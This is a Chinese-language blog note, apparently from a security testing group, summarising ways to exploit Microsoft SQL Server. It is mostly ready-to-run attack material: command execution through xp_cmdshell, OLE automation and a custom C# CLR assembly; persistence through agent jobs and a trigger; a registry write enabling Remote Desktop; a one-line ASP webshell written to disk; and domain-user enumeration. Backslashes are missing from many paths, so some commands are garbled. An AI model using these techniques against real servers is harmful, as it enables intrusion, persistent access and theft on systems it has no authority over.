MSSQL利用總結
- 2019 年 10 月 4 日
- 筆記
No.1
聲明
由於傳播、利用此文所提供的資訊而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。 雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
No.2
命令執行
1. xp_cmdshell
開啟xp_cmdshell
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
執行
exec xp_cmdshell "whoami"
//在mssql中,轉義符為"""轉義字元"""
恢復被刪除的xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
提示找不到xplog70.dll則需要自己上傳。
2. sp_oacreate
打開組件
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
執行
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >d:\temp\1.txt'
此方法無回顯,可把命令執行結果寫到web路徑下或者配合dns側信道
3. 沙盒執行
需要當前mssql用戶有寫註冊表許可權
開啟
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
執行
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasdnary.mdb','select shell("whoami")')
在默認安裝mssql 2012上報錯 "無法創建鏈接伺服器「(null)」的 OLE DB 訪問介面「microsoft.jet.oledb.4.0」的實例。" 暫未找到解決辦法。
4. CLR執行
Common Language Runtime(CLR)程式集定義為可以導入SQL Server的.NET DLL(或DLL組)。導入後,DLL方法可以鏈接到存儲過程並通過TSQL執行。創建和導入自定義CLR程式集的能力是開發人員擴展SQL Server本機功能的好方法,但自然也為攻擊者創造了機會。以C#程式碼為例,將下面程式碼用CSC編譯為dll。
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
編譯
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs //主意.net版本
得到的DLL上傳到目標,設置dll文件許可權,否則mssql可能因為文件許可權問題導致讀取dll失敗。
開啟CLR
sp_configure 'show advanced options',1
RECONFIGURE
GO
— Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
遇到許可權問題,需要設置資料庫擁有者為sa,這個方法不能使用master資料庫來執行查詢語句
alter database [資料庫名] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'
接著執行
— Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:tempcmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
Go
— Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
接下來就可以執行命令了

這個方法還可以通過16進位文件流的方式導入DLL,這樣可以不用文件落地
5. com對象
開啟
EXEC sp_configure 'Ole Automation Procedures',1
執行
declare @dbapp int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@dbapp output;
–exec sp_oamethod @dpapp,'run',null,'calc.exe';
exec sp_oamethod @dbapp,'exec',@exec output,'C:\windows\system32\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str
No.3
註冊表
1. 讀註冊表
EXEC xp_regread 'HKEY_CURRENT_USER','Control PanelInternational','sCountry'

2. 寫註冊表
master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0; #開啟遠程桌面
3. 刪除操作
exec master.xp_regdeletevalue 'HKEY_LOCAL_MACHINE','
SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName' //刪除值
exec
master.xp_regdeletekey 'HKEY_LOCAL_MACHINE','
SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' //刪除鍵
4. 添加值
EXECUTE master..xp_regaddmultistring
@ rootkey ='HKEY_LOCAL_MACHINE',
@ key ='SOFTWARETest',
@ value_name ='TestValue',
@ value ='Test'
5. 枚舉可用的註冊表鍵
EXEC master..xp_regenumkeys 'HKEY_CURRENT_USER','Control PanelInternational'

No.4
持久化
1. 定時任務
啟用sql server代理,右鍵-新建-作業

步驟-新建

配置執行的語句,可以自定義

然後在「計劃」選項里配置執行時間

此外,可以使用十六進位CLR新建一個存儲過程然後用計劃作業執行存儲過程,這樣更加隱蔽。
2. 觸發器
觸發器用於在執行指定語句動作之後執行sql語句,如update,可配合注入使用
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TRIGGER [test222]
ON [test]
AFTER UPDATE /*建立一個作用於表test的、
類型為After update的、名為 test222的觸發器*/
AS
BEGIN
EXECUTE MASTER.DBO.XP_CMDSHELL 'cmd.exe /c calc.exe'
END
GO
在對錶進行update操作之後,就會執xp_cmdshell
No.5
文件操作
1. 判斷文件是否存在
exec xp_fileexist "C:\users\public\test.txt"
返回0表示文件不存在,1表示存在。在執行無回顯命令時,把執行結果重定向到一個文件,再用xp_fileexist判斷該文件是否存在,就可知道命令是否執行成功。
2. 列目錄
exec xp_subdirs "C:UsersAdministrator",2,1
第一個參數設定要查看的文件夾。 第二個參數限制了這個存儲過程將會進行的遞歸級數。默認是零或所有級別。第三個參數告訴存儲過程包括文件。默認是零或只對文件夾,數值 1 代表包括結果集的文件。

3. 寫文件
exec sp_makewebtask 'c:wwwtestwr.asp','select''<%execute(request("SB"))%>'' '
需要開啟Web Assistant Procedures
exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE
在sql server 2012上開啟失敗。
4. 創建目錄
exec xp_create_subdir 'D:test'
5. 壓縮文件
exec xp_makecab 'c:test.cab', 'mszip', 1, 'c:test.txt' , 'c:test1.txt'
它允許你指定一列你想壓縮的文件還有你想放進去的 cab 文件。它甚至允許你選擇默認壓縮, MSZIP 壓縮 ( 類似於 .zip文件格式 ) 或不壓縮。第一個參數給出到 cab 文件的路徑,這是你想創建和添加文件的地方。第二個參數是壓縮級別。如果你想使用詳細的日誌記錄就使用第三個參數。第四個參數後跟著你想壓縮的文件的名稱。可以在擴展存儲過程里傳 多個要壓縮的文件名稱。
No.6
資訊獲取
1. 獲取機器名
exec xp_getnetname
2. 獲取系統資訊
exec xp_msver

3. 獲取驅動器資訊
exec xp_fixeddrives

4. 獲取域名
SELECT DEFAULT_DOMAIN() as mydomain;

5. 遍歷域用戶
先獲取RID
SELECT SUSER_SID('CATE4CAFEDomain Admins')

利用RID前48位即0x010500000000000515000000F80F57B63AF32D50A0916B7B構造SID即可遍歷域用戶。我們知道,域用戶的SID是從500開始,所以把500轉換成16進位,為01F4,在mssql里需要翻轉為F401,然後用0000補足得到0x010500000000000515000000F80F57B63AF32D50A0916B7BF4010000,在mssql里查詢

採用循環SQL語句遍歷即可遍歷出所有域用戶。

msf有個模組可通過注入點枚舉域用戶
